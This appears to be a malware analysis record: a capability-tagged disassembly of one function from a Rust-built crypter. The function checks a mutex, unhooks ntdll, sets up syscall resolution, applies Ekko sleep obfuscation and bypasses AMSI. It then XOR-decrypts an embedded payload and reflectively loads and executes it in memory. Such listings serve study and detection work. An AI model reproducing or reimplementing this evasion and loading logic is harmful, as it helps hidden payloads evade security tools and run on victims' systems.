Function at 0x4023a0
Capabilities:
Check mutex on windows
Encode data using xor
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x64
lea eax, [0x577c2d]
lea ebx, [ebp - 0x50]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x50], 0xca5e476d
mov edx, dword [ebp - 0x50]
call sym.obfstr::xref::inner::he37c185fe5b2b75a
mov ecx, 0x6a94b84f
xor ecx, dword [eax]
movzx eax, byte [eax + 4]
xor al, 0xa1
mov dword [ebp - 0x34], ecx
mov byte [ebp - 0x30], al
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x64]
push 5
push ecx
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x64], 0x80000000
jne 0x402922
mov esi, dword [ebp - 0x60]
mov edi, dword [ebp - 0x5c]
push esi
push 0
push 0
call sub.kernel32.dll_CreateMutexA
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x402433
mov byte [esi], 0
test edi, edi
je 0x40242b
push 1
push edi
push esi
call sym.___rust_dealloc
add esp, 0xc
add esp, 0x64
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], edi
call sym.crypt_file::ssn_solving::setup_ssn_solving::hb6aae30cb18898b7
call sym.crypt_file::dll_care::unhook_ntdll::he9c5a4053f26e667
push 0x7d0
call sym.crypt_file::ekko_common::ekko::hc304f2fc1691f200
add esp, 4
mov esi, dword [0x59ce94]
movzx eax, byte [esi]
push 1
push 0xd9000
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x40294f
mov edi, eax
push 0xd9000
push 0x4a7270
push eax
call sym._memcpy
add esp, 0xc
xor eax, eax
nop word [eax + eax]
mov ecx, eax
and ecx, 0x1f
movzx ecx, byte [ecx + 0x580270]
xor byte [edi + eax], cl
inc eax
cmp eax, 0xd9000
jne 0x402490
mov dword [ebp - 0x24], edi
push 0x1388
call sym.crypt_file::ekko_common::ekko::hc304f2fc1691f200
add esp, 4
push ebx
call sym.crypt_file::amsi_care::setup_bypass::h451a03bf0932f171
add esp, 4
mov eax, dword [ebp - 0x50]
cmp eax, 0x80000000
je 0x4024dc
test eax, eax
je 0x4024dc
push 1
push eax
push dword [ebp - 0x4c]
call sym.___rust_dealloc
add esp, 0xc
movzx eax, byte [esi]
push 1
push 0xd9000
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x402960
mov esi, eax
push 0xd9000
push dword [ebp - 0x24]
push eax
call sym._memcpy
add esp, 0xc
push 0x4a7214
call sub.kernel32.dll_LoadLibraryA
test eax, eax
mov dword [ebp - 0x20], esi
je 0x402971
mov edi, ebx
push 0x4a7234
push eax
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x40297f
and esp, 0xfffffff0
push 0xd9000
push esi
call sym.crypt_file::peload::pelib::get_headers_size::hefe24cddb2b0ae93
add esp, 8
mov dword [ebp - 0x14], eax
push 0xd9000
push esi
call sym.crypt_file::peload::pelib::get_image_size::ha42eb84b4524eae1
add esp, 8
mov ebx, eax
mov eax, dword [esi + 0x3c]
mov dword [ebp - 0x18], edi
xor edi, edi
cmp dword [eax + esi], 0x4550
lea ecx, [eax + esi]
cmove edi, ecx
mov eax, dword [edi + 0x34]
push 4
push 0x1000
push ebx
mov dword [ebp - 0x68], eax
push eax
call sub.kernel32.dll_VirtualAlloc
test eax, eax
mov dword [ebp - 0x10], eax
jne 0x4025a1
push 4
push 0x1000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
mov dword [ebp - 0x10], eax
je 0x40298d
mov dword [ebp - 0x54], ebx
push dword [ebp - 0x14]
push esi
push dword [ebp - 0x10]
call sym._memcpy
add esp, 0xc
movzx esi, word [edi + 6]
mov dword [ebp - 0x1c], edi
test si, si
je 0x402614
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov ebx, 1
mov eax, dword [eax + 0x3c]
lea edi, [ecx + eax + 0x10c]
nop word cs:[eax + eax]
nop
mov eax, dword [edi - 4]
mov ecx, dword [edi]
lea edx, [ecx + eax]
cmp edx, 0xd9001
mov edx, dword [ebp - 0x20]
lea edx, [edx + ecx]
cmovae edx, ebx
add ecx, eax
mov ecx, dword [edi - 8]
cmovb edx, ebx
add ecx, dword [ebp - 0x10]
push eax
push edx
push ecx
call sym._memcpy
add esp, 0xc
add edi, 0x28
dec si
jne 0x4025e0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
cmp dword [eax + 0x84], 0
je 0x402701
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x80]
mov esi, dword [eax + ecx + 0xc]
test esi, esi
je 0x402701
add eax, ecx
lea edx, [ecx + 2]
mov dword [ebp - 0x70], edx
jmp 0x402664
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x20]
add eax, 0x14
test esi, esi
je 0x402701
mov edx, dword [eax + 0x10]
test edx, edx
mov dword [ebp - 0x14], edx
je 0x402701
mov ebx, dword [eax]
add esi, ecx
mov dword [ebp - 0x6c], eax
mov eax, esi
nop dword [eax + eax]
cmp byte [eax], 0
lea eax, [eax + 1]
jne 0x402680
push esi
call sub.kernel32.dll_LoadLibraryA
mov edi, eax
inc eax
cmp eax, 1
ja 0x40269e
push esi
call sub.kernel32.dll_GetModuleHandleA
mov edi, eax
test ebx, ebx
mov eax, dword [ebp - 0x10]
cmove ebx, dword [ebp - 0x14]
mov eax, dword [ebx + eax]
test eax, eax
je 0x402650
mov ecx, dword [ebp - 0x10]
xor esi, esi
add dword [ebp - 0x14], ecx
add ebx, ecx
jmp 0x4026e1
and eax, 0x7fffffff
push eax
push edi
call sub.kernel32.dll_GetProcAddress
mov ecx, dword [ebp - 0x14]
mov dword [ecx + esi*4], eax
mov eax, dword [ebx + 4]
inc esi
add ebx, 4
test eax, eax
je 0x402650
test eax, eax
js 0x4026c0
add eax, dword [ebp - 0x70]
mov ecx, 0xffffffff
nop dword [eax]
cmp byte [eax + ecx + 1], 0
lea ecx, [ecx + 1]
jne 0x4026f0
cmp ecx, 2
jb 0x4026d2
jmp 0x4026c5
mov ebx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x1c]
cmp ebx, ecx
je 0x402791
cmp dword [edx + 0xa4], 0
je 0x402791
mov eax, dword [edx + 0xa0]
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + ecx + 4]
test esi, esi
je 0x402791
mov edi, dword [ebp - 0x10]
mov ecx, edi
sub ecx, ebx
lea ebx, [eax + edi + 4]
add eax, edi
jmp 0x402759
mov edx, dword [ebp - 0x14]
mov esi, dword [edx]
mov edx, dword [ebp - 0x1c]
lea edi, [eax + esi]
lea ebx, [eax + esi + 4]
mov esi, dword [eax + esi + 4]
mov eax, edi
test esi, esi
je 0x402791
lea edi, [esi - 8]
cmp edi, 2
jb 0x402748
shr edi, 1
lea esi, [eax + 8]
mov dword [ebp - 0x14], ebx
jmp 0x402776
add esi, 2
dec edi
je 0x402740
movzx ebx, word [esi]
cmp ebx, 0x1000
jb 0x402770
and ebx, 0xfff
mov edx, dword [eax]
add ebx, dword [ebp - 0x10]
add dword [edx + ebx], ecx
jmp 0x402770
movzx edx, word [edx + 6]
mov esi, dword [ebp - 0x24]
test dx, dx
mov word [ebp - 0x36], dx
je 0x40287d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
neg edx
mov bx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [eax + 0x3c]
add dword [ebp - 0x54], ecx
lea edi, [ecx + eax + 0x104]
jmp 0x4027e2
lea eax, [edx + ebx + 1]
add edi, 0x28
inc ebx
cmp ax, 1
je 0x40287d
mov eax, dword [edi + 4]
test eax, eax
je 0x4027d0
mov ecx, dword [edi]
add ecx, dword [ebp - 0x10]
cmp dword [ebp - 0x54], ecx
jbe 0x4027d0
mov esi, dword [edi + 0x18]
test esi, 0x40000000
jne 0x402820
test esi, esi
js 0x402836
test esi, 0x20000000
mov edx, 0x10
mov esi, 1
jmp 0x402858
test esi, esi
js 0x402848
test esi, 0x20000000
mov edx, 0x20
mov esi, 2
jmp 0x402858
mov edx, pe_nt_image_headers32
test esi, 0x20000000
jne 0x40285b
int3
test esi, 0x20000000
mov edx, 0x40
mov esi, 4
cmove edx, esi
mov dword [ebp - 0x34], 0
lea esi, [ebp - 0x34]
push esi
push edx
push eax
push ecx
call sub.kernel32.dll_VirtualProtect
mov esi, dword [ebp - 0x24]
test eax, eax
je 0x4028c7
mov edx, dword [ebp - 0x14]
jmp 0x4027d0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov eax, dword [eax + 0x28]
add eax, ecx
push 0
push 1
push ecx
call eax
push 1
push 0xd9000
push dword [ebp - 0x20]
call sym.___rust_dealloc
add esp, 0xc
push 1
push 0xd9000
push esi
call sym.___rust_dealloc
add esp, 0xc
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x28]
mov byte [esi], 0
test edi, edi
jne 0x40241f
jmp 0x40242b
call sub.kernel32.dll_GetLastError
lea eax, [ebp - 0x38]
mov dword [ebp - 0x50], 0x580734
mov dword [ebp - 0x4c], 2
mov dword [ebp - 0x40], 0
mov word [ebp - 0x38], bx
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x36]
mov dword [ebp - 0x60], sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_u16_GT_::fmt::h876cecdf2b7c8182
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x64]
mov dword [ebp - 0x58], sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_u16_GT_::fmt::h876cecdf2b7c8182
mov dword [ebp - 0x48], eax
mov eax, 0x580744
mov dword [ebp - 0x44], 2
push eax
push dword [ebp - 0x18]
mov esi, dword [ebp - 0x20]
call sym.core::panicking::panic_fmt::h653fda680bf9012e
add esp, 8
jmp 0x40296f
movsd xmm0, qword [ebp - 0x64]
movsd xmm1, qword [ebp - 0x5c]
movsd qword [ebp - 0x48], xmm1
movsd qword [ebp - 0x50], xmm0
push 0x4a7260
push 0x4a7128
push ebx
push 0
push 1
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x40296f
push 0xd9000
push 1
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
add esp, 8
jmp 0x40296f
push 0xd9000
push 1
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
add esp, 8
ud2
mov dword [ebp - 0x50], 4
mov eax, 0x4a7224
jmp 0x402999
mov dword [ebp - 0x50], 4
mov eax, 0x4a7244
jmp 0x402999
mov eax, 0x4a7204
mov dword [ebp - 0x50], 4
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 4], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 8], 4
mov dword [ecx + 0xc], 0
jmp 0x402911